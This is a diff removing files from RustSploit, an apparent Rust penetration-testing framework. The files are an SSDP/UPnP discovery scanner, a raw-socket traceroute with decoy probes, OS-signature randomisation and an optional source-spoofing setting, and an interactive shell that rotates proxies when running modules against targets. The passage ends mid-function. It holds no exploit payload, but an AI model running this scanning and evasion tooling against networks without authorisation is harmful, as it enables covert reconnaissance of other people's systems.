@@ -1,344 +0,0 @@
use anyhow::{Context, Result};
use colored::*;
use regex::Regex;
use std::collections::HashMap;
use std::io::Write;
use std::net::SocketAddr;
use tokio::net::UdpSocket;
use tokio::time::{timeout as tokio_timeout, Duration};
/// SSDP Search Target types
#[derive(Clone, Debug)]
enum SearchTarget {
RootDevice,
All,
Custom(String),
}
impl SearchTarget {
fn st_header(&self) -> &str {
match self {
SearchTarget::RootDevice => "upnp:rootdevice",
SearchTarget::All => "ssdp:all",
SearchTarget::Custom(st) => st,
}
}
}
pub async fn run(target: &str) -> Result<()> {
let port = prompt_port().unwrap_or(1900);
let timeout_secs = prompt_timeout().unwrap_or(3);
let retries = prompt_retries().unwrap_or(1);
let verbose = prompt_verbose().unwrap_or(false);
let target = clean_ipv6_brackets(target);
// Validate target format
let _ = normalize_target(&target, port)
.with_context(|| format!("Failed to normalize target '{}'", target))?;
// Determine search targets
let search_targets = prompt_search_targets()?;
println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
let mut found_any = false;
for (idx, st) in search_targets.iter().enumerate() {
if search_targets.len() > 1 {
println!(
"{}",
format!("[*] Trying ST: {} ({}/{})", st.st_header(), idx + 1, search_targets.len())
.cyan()
);
}
for attempt in 1..=retries {
if retries > 1 {
println!(" [*] Attempt {}/{}", attempt, retries);
}
match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await {
Ok(Some(response)) => {
found_any = true;
parse_ssdp_response(&response, &target, port, st.st_header());
break; // Success, no need to retry
}
Ok(None) => {
if verbose {
println!(" {} No response received", "[-]".dimmed());
}
}
Err(e) => {
if verbose {
eprintln!(" {} Error: {}", "[!]".yellow(), e);
}
}
}
// Small delay between retries
if attempt < retries {
tokio::time::sleep(Duration::from_millis(500)).await;
}
}
}
if !found_any {
println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow());
}
Ok(())
}
async fn send_ssdp_request(
target: &str,
port: u16,
st: &SearchTarget,
timeout: Duration,
verbose: bool,
) -> Result<Option<String>> {
let local_bind: SocketAddr = "0.0.0.0:0".parse()
.context("Failed to parse local bind address")?;
let socket = UdpSocket::bind(local_bind).await
.context("Failed to bind UDP socket")?;
let remote_addr: SocketAddr = format!("{}:{}", target, port).parse()
.with_context(|| format!("Failed to parse remote address {}:{}", target, port))?;
socket.connect(&remote_addr).await
.with_context(|| format!("Failed to connect to {}:{}", target, port))?;
let request = format!(
"M-SEARCH * HTTP/1.1\r\n\
HOST: {}:{}\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: {}\r\n\
ST: {}\r\n\
USER-AGENT: RustSploit/1.0\r\n\r\n",
target,
port,
timeout.as_secs().max(1),
st.st_header()
);
if verbose {
println!(" [*] Sending request:\n{}", request.dimmed());
}
socket.send(request.as_bytes()).await
.context("Failed to send SSDP request")?;
let mut buf = vec![0u8; 4096]; // Increased buffer size for larger responses
match tokio_timeout(timeout, socket.recv(&mut buf)).await {
Ok(Ok(size)) => {
let response = String::from_utf8_lossy(&buf[..size]).to_string();
Ok(Some(response))
}
Ok(Err(e)) => Err(anyhow::anyhow!("Failed to receive response: {}", e)),
Err(_) => Ok(None), // Timeout
}
}
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
fn normalize_target(target: &str, port: u16) -> Result<String> {
let addr = if target.contains(':') && !target.contains(']') {
// Plain IPv6 without brackets
format!("[{}]:{}", target, port)
} else if target.contains('[') {
// Already bracketed IPv6 (sanitize just in case)
format!("[{}]:{}", target.trim_matches(&['[', ']'][..]), port)
} else {
// IPv4 or hostname
format!("{}:{}", target, port)
};
Ok(addr)
}
/// Cleans up accidental double or triple brackets like [[::1]] → ::1
fn clean_ipv6_brackets(ip: &str) -> String {
ip.trim_start_matches('[')
.trim_end_matches(']')
.to_string()
}
/// Ask user for port (optional), fallback to 1900 if empty
fn prompt_port() -> Option<u16> {
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(p) = input.parse::<u16>() {
return Some(p);
}
}
None
}
/// Ask user for timeout in seconds
fn prompt_timeout() -> Option<u64> {
print!("{}", "[*] Enter timeout in seconds (default 3): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(t) = input.parse::<u64>() {
if t > 0 && t <= 60 {
return Some(t);
}
}
}
None
}
/// Ask user for number of retries
fn prompt_retries() -> Option<u32> {
print!("{}", "[*] Enter number of retries (default 1): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(r) = input.parse::<u32>() {
if r > 0 && r <= 10 {
return Some(r);
}
}
}
None
}
/// Ask user for verbose mode
fn prompt_verbose() -> Option<bool> {
print!("{}", "[*] Verbose output? [y/N]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim().to_lowercase();
match input.as_str() {
"y" | "yes" => return Some(true),
"n" | "no" | "" => return Some(false),
_ => {}
}
}
None
}
/// Ask user for search targets
fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
let mut targets = Vec::new();
println!("{}", "[*] Select SSDP Search Targets:".cyan().bold());
println!(" 1. upnp:rootdevice (default)");
println!(" 2. ssdp:all");
println!(" 3. Custom ST");
println!(" 4. All of the above");
print!("{}", "Enter choice [1-4, default 1]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
std::io::stdin().read_line(&mut input).ok();
match input.trim() {
"1" | "" => {
targets.push(SearchTarget::RootDevice);
}
"2" => {
targets.push(SearchTarget::All);
}
"3" => {
print!("{}", "Enter custom ST: ".cyan().bold());
std::io::stdout().flush().ok();
let mut st_input = String::new();
std::io::stdin().read_line(&mut st_input).ok();
let st = st_input.trim().to_string();
if !st.is_empty() {
targets.push(SearchTarget::Custom(st));
} else {
targets.push(SearchTarget::RootDevice);
}
}
"4" => {
targets.push(SearchTarget::RootDevice);
targets.push(SearchTarget::All);
}
_ => {
targets.push(SearchTarget::RootDevice);
}
}
if targets.is_empty() {
targets.push(SearchTarget::RootDevice);
}
Ok(targets)
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
let regexps = vec![
("server", r"(?i)Server:\s*(.*?)\r\n"),
("location", r"(?i)Location:\s*(.*?)\r\n"),
("usn", r"(?i)USN:\s*(.*?)\r\n"),
("st", r"(?i)ST:\s*(.*?)\r\n"),
("nt", r"(?i)NT:\s*(.*?)\r\n"),
("cache-control", r"(?i)Cache-Control:\s*(.*?)\r\n"),
("ext", r"(?i)EXT:\s*(.*?)\r\n"),
];
let mut results: HashMap<&str, String> = HashMap::new();
for (key, pattern) in regexps {
if let Ok(re) = Regex::new(pattern) {
if let Some(caps) = re.captures(response) {
let value = caps.get(1)
.map(|m| m.as_str().trim())
.unwrap_or("")
.to_string();
results.insert(key, value);
} else {
results.insert(key, String::new());
}
}
}
// Check HTTP status
let status_line = response.lines().next().unwrap_or("");
let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1");
if status_ok {
println!(
"{}",
format!(
"[+] {}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
target_ip,
port,
results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()),
results.get("server").unwrap_or(&String::new()),
results.get("location").unwrap_or(&String::new()),
results.get("usn").unwrap_or(&String::new())
)
.green()
);
// Show additional headers if present
if let Some(cache) = results.get("cache-control") {
if !cache.is_empty() {
println!(" {} Cache-Control: {}", " |".dimmed(), cache.dimmed());
}
}
} else {
println!(
"{}",
format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line)
.yellow()
);
}
}
@@ -1,444 +0,0 @@
use pnet_packet::ip::IpNextHeaderProtocols;
use pnet_packet::ipv4::{self, MutableIpv4Packet};
use pnet_packet::icmp::{self, echo_request, echo_reply, IcmpTypes};
use pnet_packet::udp::{self, MutableUdpPacket};
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
use pnet_packet::Packet;
use pnet_packet::icmp::IcmpPacket;
use std::sync::Arc;
use rand::Rng;
use rand::distr::Alphanumeric;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::io::{stdin, stdout, Write};
use tokio::time::{Instant, Duration};
use tokio::task;
use socket2::{Domain, Protocol, Socket, Type};
use colored::*;
use anyhow::{Result, Context, bail};
use std::mem::MaybeUninit;
const IPV4_FLAG_DF: u16 = 2;
const USE_RANDOM_OS_SIG: bool = true;
const SPOOF_SRC_IP_CONFIG: Option<&str> = None;
const JITTER_RANGE: (f32, f32) = (0.2, 1.1);
const MAX_TTL: u8 = 30;
const PROBE_COUNT: usize = 3;
const DECOY_PROB: f64 = 0.35;
#[derive(Debug, Clone)]
struct OsSignatureParams {
id: u16,
tos: u8,
df_flag: bool,
}
fn generate_os_signature() -> OsSignatureParams {
let mut rng = rand::rng();
if !USE_RANDOM_OS_SIG {
return OsSignatureParams {
id: rng.random(),
tos: 0,
df_flag: false,
};
}
let sigs = [
OsSignatureParams { id: rng.random_range(0x4000..=0xffff), tos: 0, df_flag: true },
OsSignatureParams { id: rng.random(), tos: 0, df_flag: false },
OsSignatureParams { id: rng.random(), tos: 0, df_flag: true },
OsSignatureParams { id: rng.random(), tos: 0x10, df_flag: false },
];
sigs[rng.random_range(0..sigs.len())].clone()
}
#[derive(Debug, Clone, Copy, PartialEq)]
enum ProbeProtocolType {
Icmp,
Udp,
Tcp,
}
impl ProbeProtocolType {
fn to_ip_next_header_protocol(&self) -> pnet_packet::ip::IpNextHeaderProtocol {
match self {
ProbeProtocolType::Icmp => IpNextHeaderProtocols::Icmp,
ProbeProtocolType::Udp => IpNextHeaderProtocols::Udp,
ProbeProtocolType::Tcp => IpNextHeaderProtocols::Tcp,
}
}
fn to_string_lc(&self) -> String {
match self {
ProbeProtocolType::Icmp => "icmp".to_string(),
ProbeProtocolType::Udp => "udp".to_string(),
ProbeProtocolType::Tcp => "tcp".to_string(),
}
}
}
#[derive(Debug)]
struct ReceivedIcmpInfo {
icmp_type: u8,
description: String,
}
#[derive(Debug)]
struct ProbeSingleResponse {
source_ip: Ipv4Addr,
rtt_ms: f32,
icmp_info: ReceivedIcmpInfo,
probe_protocol_used: String,
}
fn craft_probe_packet(
dst_ip: Ipv4Addr,
current_ttl: u8,
src_ip_override: Option<Ipv4Addr>,
icmp_id_val: u16,
icmp_seq_val: u16,
) -> Result<(Vec<u8>, ProbeProtocolType, OsSignatureParams)> {
const IPV4_HEADER_LEN: usize = 20;
let mut rng = rand::rng();
let sig = generate_os_signature();
let mut protocol_type = ProbeProtocolType::Icmp;
if rng.random_bool(DECOY_PROB) {
protocol_type = if rng.random_bool(0.5) {
ProbeProtocolType::Udp
} else {
ProbeProtocolType::Tcp
};
}
let payload_size = rng.random_range(24..=56);
let payload: Vec<u8> = rng.clone()
.sample_iter(&Alphanumeric)
.take(payload_size)
.map(|c| c as u8)
.collect();
let (transport_header_len, transport_packet_data) = match protocol_type {
ProbeProtocolType::Icmp => {
let mut buf = vec![0u8; 8 + payload.len()];
let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).unwrap();
pkt.set_icmp_type(IcmpTypes::EchoRequest);
pkt.set_icmp_code(echo_request::IcmpCodes::NoCode);
pkt.set_identifier(icmp_id_val);
pkt.set_sequence_number(icmp_seq_val);
pkt.set_payload(&payload);
let view = IcmpPacket::new(pkt.packet()).unwrap();
pkt.set_checksum(icmp::checksum(&view));
(buf.len(), buf)
}
ProbeProtocolType::Udp => {
let mut buf = vec![0u8; 8 + payload.len()];
let mut pkt = MutableUdpPacket::new(&mut buf).unwrap();
pkt.set_source(rng.random_range(33434..=65535));
pkt.set_destination(rng.random_range(33434..=65535));
pkt.set_length((8 + payload.len()) as u16);
pkt.set_payload(&payload);
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
pkt.set_checksum(udp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
(buf.len(), buf)
}
ProbeProtocolType::Tcp => {
let mut buf = vec![0u8; 20 + payload.len()];
let mut pkt = MutableTcpPacket::new(&mut buf).unwrap();
pkt.set_source(rng.random_range(33434..=65535));
pkt.set_destination(rng.random_range(33434..=65535));
pkt.set_sequence(rng.random());
pkt.set_acknowledgement(0);
pkt.set_data_offset(5);
pkt.set_flags(TcpFlags::SYN);
pkt.set_window(rng.random_range(1024..=65535));
pkt.set_urgent_ptr(0);
pkt.set_payload(&payload);
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
pkt.set_checksum(tcp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
(buf.len(), buf)
}
};
let total_len = (IPV4_HEADER_LEN + transport_header_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
let src_ip = src_ip_override
.or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().unwrap())
.unwrap_or(Ipv4Addr::new(0,0,0,0));
{
let mut ip = MutableIpv4Packet::new(&mut ip_buf).unwrap();
ip.set_version(4);
ip.set_header_length(5);
ip.set_total_length(total_len);
ip.set_identification(sig.id);
ip.set_ttl(current_ttl);
ip.set_next_level_protocol(protocol_type.to_ip_next_header_protocol());
ip.set_source(src_ip);
ip.set_destination(dst_ip);
ip.set_dscp(sig.tos >> 2);
ip.set_ecn(sig.tos & 0x03);
let mut flags = 0;
if sig.df_flag {
flags |= IPV4_FLAG_DF;
}
ip.set_flags(flags.try_into().unwrap());
ip.set_payload(&transport_packet_data);
ip.set_checksum(ipv4::checksum(&ip.to_immutable()));
}
Ok((ip_buf, protocol_type, sig))
}
async fn send_and_receive_one(
target_final_dst_ip: Ipv4Addr,
probe_packet_bytes: &[u8],
probe_protocol: ProbeProtocolType,
probe_ip_id: u16,
probe_icmp_echo_id: u16,
probe_icmp_echo_seq: u16,
timeout: Duration,
) -> Result<Option<ProbeSingleResponse>> {
let sender_socket = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
)
.context("Failed to create sender raw socket")?;
sender_socket
.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL on sender socket")?;
let receiver_socket = Arc::new(
Socket::new(Domain::IPV4, Type::RAW, Some(Protocol::ICMPV4))
.context("Failed to create receiver raw socket for ICMP")?,
);
receiver_socket
.set_read_timeout(Some(Duration::from_millis(200)))
.context("Failed to set read timeout on receiver socket")?;
let dst_addr = SocketAddr::new(IpAddr::V4(target_final_dst_ip), 0);
sender_socket
.send_to(probe_packet_bytes, &dst_addr.into())
.context("Failed to send raw IP packet")?;
let start = Instant::now();
loop {
if start.elapsed() >= timeout {
return Ok(None);
}
let sock_clone = receiver_socket.try_clone().expect("Socket clone failed");
let recv = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
match sock_clone.recv_from(&mut buf) {
Ok((len, addr)) => {
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
Ok(Some((slice.to_vec(), sock_addr)))
}
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
Err(e) => Err(e),
}
})
.await
.context("Blocking task for recv_from failed")?;
if let Some((data, sa)) = recv? {
let rtt = start.elapsed().as_secs_f32() * 1000.0;
let responder = if let IpAddr::V4(ip) = sa.ip() { ip } else { continue; };
if let Some(ip_pkt) = ipv4::Ipv4Packet::new(&data) {
if ip_pkt.get_next_level_protocol() == IpNextHeaderProtocols::Icmp {
if let Some(icmp_pkt) = icmp::IcmpPacket::new(ip_pkt.payload()) {
let icmp_type = icmp_pkt.get_icmp_type();
let _ = icmp_pkt.get_icmp_code();
let mut matched = false;
if icmp_type == IcmpTypes::TimeExceeded || icmp_type == IcmpTypes::DestinationUnreachable {
if let Some(inner) = ipv4::Ipv4Packet::new(icmp_pkt.payload()) {
if inner.get_destination() == target_final_dst_ip && inner.get_identification() == probe_ip_id {
let proto = inner.get_next_level_protocol();
match probe_protocol {
ProbeProtocolType::Icmp => {
if proto == IpNextHeaderProtocols::Icmp {
if let Some(echo_req) = echo_request::EchoRequestPacket::new(inner.payload()) {
if echo_req.get_icmp_type() == IcmpTypes::EchoRequest
&& echo_req.get_identifier() == probe_icmp_echo_id
&& echo_req.get_sequence_number() == probe_icmp_echo_seq
{
matched = true;
}
}
}
}
ProbeProtocolType::Udp | ProbeProtocolType::Tcp => {
if proto == probe_protocol.to_ip_next_header_protocol() {
matched = true;
}
}
}
}
}
} else if icmp_type == IcmpTypes::EchoReply && probe_protocol == ProbeProtocolType::Icmp {
if let Some(reply) = echo_reply::EchoReplyPacket::new(icmp_pkt.packet()) {
if reply.get_identifier() == probe_icmp_echo_id
&& reply.get_sequence_number() == probe_icmp_echo_seq
&& responder == target_final_dst_ip
{
matched = true;
}
}
}
if matched {
let desc = match icmp_type {
IcmpTypes::EchoReply => "echo-reply".to_string(),
IcmpTypes::DestinationUnreachable => "unreachable".to_string(),
IcmpTypes::TimeExceeded => "time-exceeded".to_string(),
_ => format!("type {}", icmp_type.0),
};
return Ok(Some(ProbeSingleResponse {
source_ip: responder,
rtt_ms: rtt,
icmp_info: ReceivedIcmpInfo { icmp_type: icmp_type.0, description: desc },
probe_protocol_used: probe_protocol.to_string_lc(),
}));
}
}
}
}
}
tokio::time::sleep(Duration::from_millis(10)).await;
}
}
async fn execute_traceroute(target_name: &str) -> Result<()> {
println!("{}", format!("[+] Traceroute to {} (max {} hops)", target_name, MAX_TTL).cyan());
let resolved_ips = tokio::net::lookup_host(format!("{}:0", target_name))
.await
.with_context(|| format!("Could not resolve target: {}", target_name))?;
let mut target_ipv4: Option<Ipv4Addr> = None;
for sock_addr in resolved_ips {
if let IpAddr::V4(ipv4) = sock_addr.ip() {
target_ipv4 = Some(ipv4);
break;
}
}
let dst_ip = match target_ipv4 {
Some(ip) => ip,
None => bail!("Could not resolve {} to an IPv4 address", target_name),
};
println!("{}", format!("[*] Resolved {} to {}", target_name, dst_ip).green());
let src_ip_override_opt: Option<Ipv4Addr> = SPOOF_SRC_IP_CONFIG.map(|s| s.parse().expect("Invalid SPOOF_SRC_IP"));
let mut rng = rand::rng();
for ttl_val in 1..=MAX_TTL {
let line_prefix = format!("[TTL={:2}] ", ttl_val).yellow().to_string();
let mut ttl_responded = false;
for _probe_idx in 0..PROBE_COUNT {
let icmp_probe_id = rng.random_range(33434..=65535);
let icmp_probe_seq = ttl_val as u16;
let (packet_bytes, protocol_used, os_sig_params) = craft_probe_packet(
dst_ip,
ttl_val,
src_ip_override_opt,
icmp_probe_id,
icmp_probe_seq,
)?;
let _t0 = Instant::now();
let response = send_and_receive_one(
dst_ip,
&packet_bytes,
protocol_used,
os_sig_params.id,
icmp_probe_id,
icmp_probe_seq,
Duration::from_secs(2),
).await?;
if let Some(res) = response {
ttl_responded = true;
let rtt_str = format!("{:.1}ms", res.rtt_ms);
print!("{}{:<16} ", line_prefix, res.source_ip.to_string().bright_white());
print!("{} ", res.icmp_info.description);
println!("({}) {}", res.probe_protocol_used.dimmed(), rtt_str);
if res.source_ip == dst_ip {
if res.icmp_info.icmp_type == IcmpTypes::EchoReply.0 ||
(res.icmp_info.icmp_type == IcmpTypes::DestinationUnreachable.0 && res.source_ip == dst_ip) {
println!("{}", format!("[+] Target reached: {}", res.source_ip).green());
return Ok(());
}
}
}
let jitter_duration = rng.random_range(JITTER_RANGE.0..JITTER_RANGE.1);
tokio::time::sleep(Duration::from_secs_f32(jitter_duration)).await;
}
if !ttl_responded {
println!("{}{}", line_prefix, "BLOCKED / FILTERED".red().bold());
}
}
Ok(())
}
pub async fn run(target: &str) -> Result<()> {
let mut user_input = String::new();
print!("Are you running this as sudo? (yes/no): ");
stdout().flush().unwrap();
stdin().read_line(&mut user_input).expect("Failed to read line");
if user_input.trim().to_lowercase() == "yes" {
let euid = unsafe { libc::geteuid() };
if euid != 0 {
println!("don't lie");
std::process::exit(1);
}
} else if user_input.trim().to_lowercase() == "no" {
println!("Please run this script as sudo.");
std::process::exit(1);
} else {
println!("Invalid input. Exiting.");
std::process::exit(1);
}
println!("by suicidalteddy");
println!("github.com/s-b-repo");
println!("medium.com/@suicdalteddy/about");
if target.is_empty() {
bail!("No target provided.");
}
execute_traceroute(target).await.map_err(|e| {
eprintln!("{}", format!("[-] Error: {}", e).red());
e
})
}
-603
View File
@@ -1,603 +0,0 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use colored::*;
use rand::prelude::*;
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
const MAX_INPUT_LENGTH: usize = 4096;
const MAX_PROXY_LIST_SIZE: usize = 10_000;
const MAX_TARGET_LENGTH: usize = 512;
const MAX_COMMAND_CHAIN_LENGTH: usize = 10;
/// Simple interactive shell context
struct ShellContext {
current_module: Option<String>,
current_target: Option<String>,
proxy_list: Vec<String>,
proxy_enabled: bool,
}
impl ShellContext {
fn new() -> Self {
ShellContext {
current_module: None,
current_target: None,
proxy_list: Vec::new(),
proxy_enabled: false,
}
}
}
pub async fn interactive_shell() -> Result<()> {
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
let mut ctx = ShellContext::new();
'main_loop: loop {
print!("{}", "rsf> ".cyan().bold());
io::stdout().flush()?;
let mut raw_input = String::new();
io::stdin().read_line(&mut raw_input)?;
if raw_input.len() > MAX_INPUT_LENGTH {
println!(
"{}",
format!(
"[!] Input length exceeds {} characters and was ignored.",
MAX_INPUT_LENGTH
)
.yellow()
);
continue;
}
let trimmed = raw_input.trim();
if trimmed.is_empty() {
continue;
}
// Support command chaining with & separator
let commands: Vec<&str> = trimmed
.split('&')
.map(|s| s.trim())
.filter(|s| !s.is_empty())
.take(MAX_COMMAND_CHAIN_LENGTH)
.collect();
if trimmed.split('&').count() > MAX_COMMAND_CHAIN_LENGTH {
println!(
"{}",
format!("[!] Command chain exceeds maximum length of {}. Truncating.", MAX_COMMAND_CHAIN_LENGTH)
.yellow()
);
}
for cmd_input in commands {
if cmd_input.is_empty() {
continue;
}
match split_command(cmd_input) {
Some((cmd, rest)) => {
let command_key = resolve_command(&cmd);
match command_key.as_str() {
"exit" => {
println!("Exiting...");
clear_proxy_env_vars();
break 'main_loop;
}
"back" => {
ctx.current_module = None;
ctx.current_target = None;
println!("{}", "Cleared current module and target.".green());
}
"help" => render_help(),
"modules" => utils::list_all_modules(),
"find" => {
if rest.is_empty() {
println!("{}", "Usage: find <keyword>".yellow());
} else {
utils::find_modules(&rest);
}
}
"proxy_load" => {
let file_path = if rest.is_empty() {
match prompt_for_path("Path to proxy list file: ") {
Ok(path) => path,
Err(e) => {
println!("{}", format!("[!] Error reading input: {}", e).red());
continue;
}
}
} else {
rest.to_string()
};
match utils::load_proxies_from_file(&file_path) {
Ok(summary) => {
let mut unique = HashSet::new();
let mut deduped = Vec::new();
for proxy in summary.proxies.iter() {
if unique.insert(proxy.clone()) {
deduped.push(proxy.clone());
}
}
if deduped.len() > MAX_PROXY_LIST_SIZE {
println!(
"{}",
format!(
"[!] Loaded proxy list exceeded {} entries. Truncating.",
MAX_PROXY_LIST_SIZE
)
.yellow()
);
deduped.truncate(MAX_PROXY_LIST_SIZE);
}
let removed = summary.proxies.len().saturating_sub(deduped.len());
if removed > 0 {
println!(
"{}",
format!(
"[*] Removed {} duplicate proxy entr{}.",
removed,
if removed == 1 { "y" } else { "ies" }
)
.dimmed()
);
}
ctx.proxy_list = deduped;
println!(
"Loaded {} proxies from '{}'.",
ctx.proxy_list.len(),
file_path
);
if !summary.skipped.is_empty() {
println!(
"{}",
format!(
"Skipped {} invalid entr{}:",
summary.skipped.len(),
if summary.skipped.len() == 1 { "y" } else { "ies" }
)
.yellow()
);
for failure in summary.skipped.iter().take(10) {
println!(
" [line {}] {} ({})",
failure.line_number,
failure.content,
failure.reason
);
}
if summary.skipped.len() > 10 {
println!(
" ... {} additional entr{} skipped.",
summary.skipped.len() - 10,
if summary.skipped.len() - 10 == 1 {
"y"
} else {
"ies"
}
);
}
}
match prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true) {
Ok(true) => {
if let Err(e) = test_current_proxies(&mut ctx).await {
println!("{}", format!("[!] Proxy testing failed: {}", e).red());
}
}
Ok(false) => {}
Err(e) => {
println!("{}", format!("[!] Error reading input: {}", e).red());
}
}
}
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
}
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
}
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
}
"proxy_test" => {
if let Err(e) = test_current_proxies(&mut ctx).await {
println!("{}", format!("[!] Proxy testing failed: {}", e).red());
}
}
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
}
"use" => {
if rest.is_empty() {
println!("{}", "Usage: use <module_path>".yellow());
} else if let Some(safe_path) = sanitize_module_path(&rest) {
if utils::module_exists(&safe_path) {
ctx.current_module = Some(safe_path.clone());
println!("{}", format!("Module '{}' selected.", safe_path).green());
} else {
println!("{}", format!("Module '{}' not found.", rest).red());
}
} else {
println!(
"{}",
"Module path contains invalid characters or traversal attempts."
.red()
);
}
}
"set" => {
if let Some(raw_value) = rest.strip_prefix("target").map(|s| s.trim()) {
match sanitize_target(raw_value) {
Ok(valid_target) => {
ctx.current_target = Some(valid_target.clone());
println!("{}", format!("Target set to {}", valid_target).green());
}
Err(reason) => {
println!("{}", format!("[!] {}", reason).yellow());
}
}
} else {
println!("{}", "Usage: set target <value>".yellow());
}
}
"run" => {
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
}
} else {
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
}
} else {
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
}
}
_ => {
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", cmd_input).red());
}
}
}
None => {
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", cmd_input).red());
}
}
}
}
Ok(())
}
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let mut rng = rand::rng();
let choices: Vec<&String> = proxy_list
.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if let Some(choice) = choices.choose(&mut rng) {
(*choice).clone()
} else {
// Fallback if all have been tried
proxy_list.choose(&mut rng)
.map(|s| s.clone())
.unwrap_or_else(|| proxy_list[0].clone())
}
}
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
fn set_all_proxy_env(proxy: &str) {
env::set_var("ALL_PROXY", proxy);
}
/// Clears environment variables for direct connection
fn clear_proxy_env_vars() {
env::remove_var("ALL_PROXY");
env::remove_var("HTTP_PROXY");
env::remove_var("HTTPS_PROXY");
}
fn split_command(input: &str) -> Option<(String, String)> {
let mut parts = input.splitn(2, char::is_whitespace);
let cmd = parts.next()?.to_lowercase();
let rest = parts.next().unwrap_or("").trim().to_string();
Some((cmd, rest))
}
fn resolve_command(cmd: &str) -> String {
match cmd {
"?" | "help" | "h" => "help",
"modules" | "list" | "ls" | "m" => "modules",
"find" | "search" | "f" | "f1" => "find",
"proxy_load" | "proxyload" | "pl" | "load_proxy" | "loadproxies" => "proxy_load",
"proxy_on" | "pon" | "proxyon" => "proxy_on",
"proxy_off" | "poff" | "proxyoff" => "proxy_off",
"proxy_test" | "ptest" | "proxycheck" | "check_proxies" => "proxy_test",
"show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
"use" | "u" => "use",
"set" | "target" => "set",
"run" | "go" | "exec" => "run",
"back" | "b" | "clear" | "reset" => "back",
"exit" | "quit" | "q" => "exit",
other => other,
}
.to_string()
}
fn sanitize_module_path(input: &str) -> Option<String> {
